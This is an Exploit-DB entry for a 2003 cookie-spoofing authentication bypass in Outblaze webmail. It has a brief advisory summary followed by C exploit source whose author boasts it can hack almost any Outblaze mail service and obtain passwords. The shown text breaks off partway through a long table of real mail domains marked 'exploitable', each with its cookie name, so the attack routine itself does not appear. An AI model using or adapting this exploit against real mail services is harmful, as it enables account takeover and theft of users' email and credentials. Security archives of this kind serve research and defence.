Exploit-DB #22364
Description: Outblaze Webmail - Cookie Authentication Bypass
Type: webapps
Platform: cgi
Date: 2003-03-17
Author: dong-h0un U

Exploit:
// source: https://www.securityfocus.com/bid/7115/info

Outblaze web mail service has been reported prone to an authentication cookie spoofing vulnerability.

This issue may allow a malicious attacker to bypass the cookie-based authentication mechanisms used by the affected Outblaze web mail server. If successful the attacker may obtain the victim's authentication credentials and gain full access to the victim's e-mail account.


/*
**
** Outblaze Web based e-mail User Cookie Spoofing 0day exploit
**
** --
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.i21c.net & http://x82.inetcop.org
**
** Greets: INetCop(c) Security family, my friends.
*/
/*
** This exploit code is very simple, but is convenient.
** This can hack almost Outblaze Web based e-mail service. w00h00~!
**
** It may give password to you.
** Try about 20 times. When attack failed, retry.
** It may inform to you necessarily.
**
** This can test in Korean several sites but, I excluded it.
** Use in research !!!
** When abuse this, clear that there is no responsibility to us.
**
** P.S: Sorry, for my poor english.
*/

#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>

#define X82 0x82
#define D_M 0
#define P_M 1
#define B_M 0x14
#define _B_SIZE 0x800

struct eat
{
	int num;
	char *mail_host;
	char *host_oa;
	char *word;
	char *domain;
};

struct eat vulns[]=
{
	{
	    	/* exploitable */
		0,"www.amrer.net",
		"amrer_net_oa",";",
		"amrer.net"
	},
	{
	    	/* exploitable */
	    	1,"www.amuro.net",
		"amuro_net_oa",";",
		"amuro.net"
	},
	{
	    	/* exploitable */
	    	2,"freemail.amuromail.com",
		"amuromail_com_oa",";",
		"amuromail.com"
	},
	{
	    	/* exploitable */
	    	3,"www.astroboymail.com",
		"astroboymail_com_oa",";",
		"astroboymail.com"
	},
	{
	    	/* exploitable */
	    	4,"www.dbzmail.com",
		"dbzmail_com_oa",";",
		"dbzmail.com"
	},
	{
	    	/* exploitable */
	    	5,"www.doramail.com",
		"doramail_com_oa",";",
		"doramail.com"
	},
	{
	    	/* exploitable */
	    	6,"www.glay.org",
		"glay_org_oa",";",
		"glay.org"
	},
	{
	    	/* exploitable */
	    	7,"www.jpopmail.com",
		"jpopmail_com_oa",";",
		"jpopmail.com"
	},
	{
	    	/* exploitable */
	    	8,"www.keromail.com",
		"keromail_com_oa",";",
		"keromail.com"
	},
	{
	    	/* exploitable */
	    	9,"www.kichimail.com",
		"kichimail_com_oa",";",
		"kichimail.com"
	},
	{
	    	/* exploitable */
	    	10,"www.norikomail.com",
		"norikomail_com_oa",";",
		"norikomail.com"
	},
	{
	    	/* exploitable */
	    	11,"www.otakumail.com",
		"otakumail_com_oa",";",
		"otakumail.com"
	},
	{
	    	/* exploitable */
	    	12,"mail.smapxsmap.net",
		"smapxsmap_net_oa",";",
		"smapxsmap.net"
		/* shit, error hint answer form */
	},
	{
	    	/* exploitable */
	    	13,"www.uymail.com",
		"uymail_com_oa",";",
		"uymail.com"
	},
	{
	    	/* exploitable */
	    	14,"www.yyhmail.com",
		"yyhmail_com_oa",";",
		"yyhmail.com"
	},
	{
	    	/* exploitable */
	    	15,"mail.china139.com",
		"china139_com_oa",";",
		"china139.com"
	},
	{
	    	/* exploitable */
	    	16,"mymail.mailasia.com", /* mymail chk */
		"mailasia_com_oa","%3Amailasia.com;",
		"mailasia.com"
	},
	{
	    	/* exploitable */
	    	17,"www.aaronkwok.net",
		"aaronkwok_net_oa",";",
		"aaronkwok.net"
	},
	{
	    	/* exploitable */
	    	18,"mymail.bsdmail.com", /* mymail chk */
		"bsdmail_com_oa","%3Absdmail.com;",
		"bsdmail.com"
	},
	{
	    	/* exploitable */
	    	19,"mymail.bsdmail.com", /* mymail chk */
		"bsdmail_com_oa","%3Absdmail.org;",
		"bsdmail.org"
	},
	{
	    	/* exploitable */
	    	20,"www.ezagenda.com",
		"ezagenda_com_oa",";",
		"ezagenda.com"
		/* shit, error hint answer form */
	},
	{
	    	/* exploitable */
	    	21,"www.fastermail.com",
		"fastermail_com_oa",";",
		"fastermail.com"
		/* shit, error hint answer form */
	},
	{
	    	/* exploitable */
	    	22,"mail.wongfaye.com",
		"wongfaye_com_oa",";",
		"wongfaye.com"
	},
	{
	    	/* exploitable */
	    	23,"www.graffiti.net",
		"graffiti_net_oa",";",
		"graffiti.net"
	},
	{
	    	/* exploitable */
	    	24,"www.hackermail.com",
		"hackermail_com_oa",";",
		"hackermail.com"
	},
	{
	    	/* exploitable */
	    	25,"mail.kellychen.com",
		"kellychen_com_oa",";",
		"kellychen.com"
	},
	{
	    	/* exploitable */
	    	26,"www.leonlai.net",
		"leonlai_net_oa",";",
		"leonlai.net"
	},
	{
	    	/* exploitable */
	    	27,"mymail.linuxmail.org", /* mymail chk */
		"linuxmail_org_oa","%3Alinuxmail.org;",
		"linuxmail.org"
	},
	{
	    	/* exploitable */
	    	28,"mymail.outblaze.net", /* mymail chk */
		"outblaze_net_oa","%3Aoutblaze.net;",
		"outblaze.net"
	},
	{
	    	/* exploitable */
	    	29,"mymail.outblaze.net", /* mymail chk */
		"outblaze_net_oa","%3Aoutblaze.org;",
		"outblaze.org"
	},
	{
	    	/* exploitable */
	    	30,"mymail.outgun.com", /* mymail chk */
		"outgun_com_oa","%3Aoutgun.com;",
		"outgun.com"
	},
	{
	    	/* exploitable */
	    	31,"www.surfy.net",
		"surfy_net_oa",";",
		"surfy.net"
	},
	{
	    	/* exploitable */
	    	32,"mail.pakistans.com",
		"pakistans_com_oa",";",
		"pakistans.com"
	},
	{
	    	/* exploitable */
	    	33,"www.jaydemail.com",
		"jaydemail_com_oa",";",
		"jaydemail.com"
	},
	{
	    	/* exploitable */
	    	34,"mail.joinme.com",
		"joinme_com_oa",";",
		"joinme.com"
	},
	{
	    	/* exploitable */
	    	35,"www.marchmail.com",
		"marchmail.com",";",
		"marchmail.com"
	},
	{
	    	/* exploitable */
	    	36,"mail.nctta.org",
		"nctta_org_oa",";",
		"nctta.org"
	},
	{
	    	/* exploitable */
	    	37,"mail.portugalnet.com",
		"portugalnet_com_oa",";",
		"portugalnet.com"
	},
	{
	    	/* exploitable */
	    	38,"www.boardermail.com",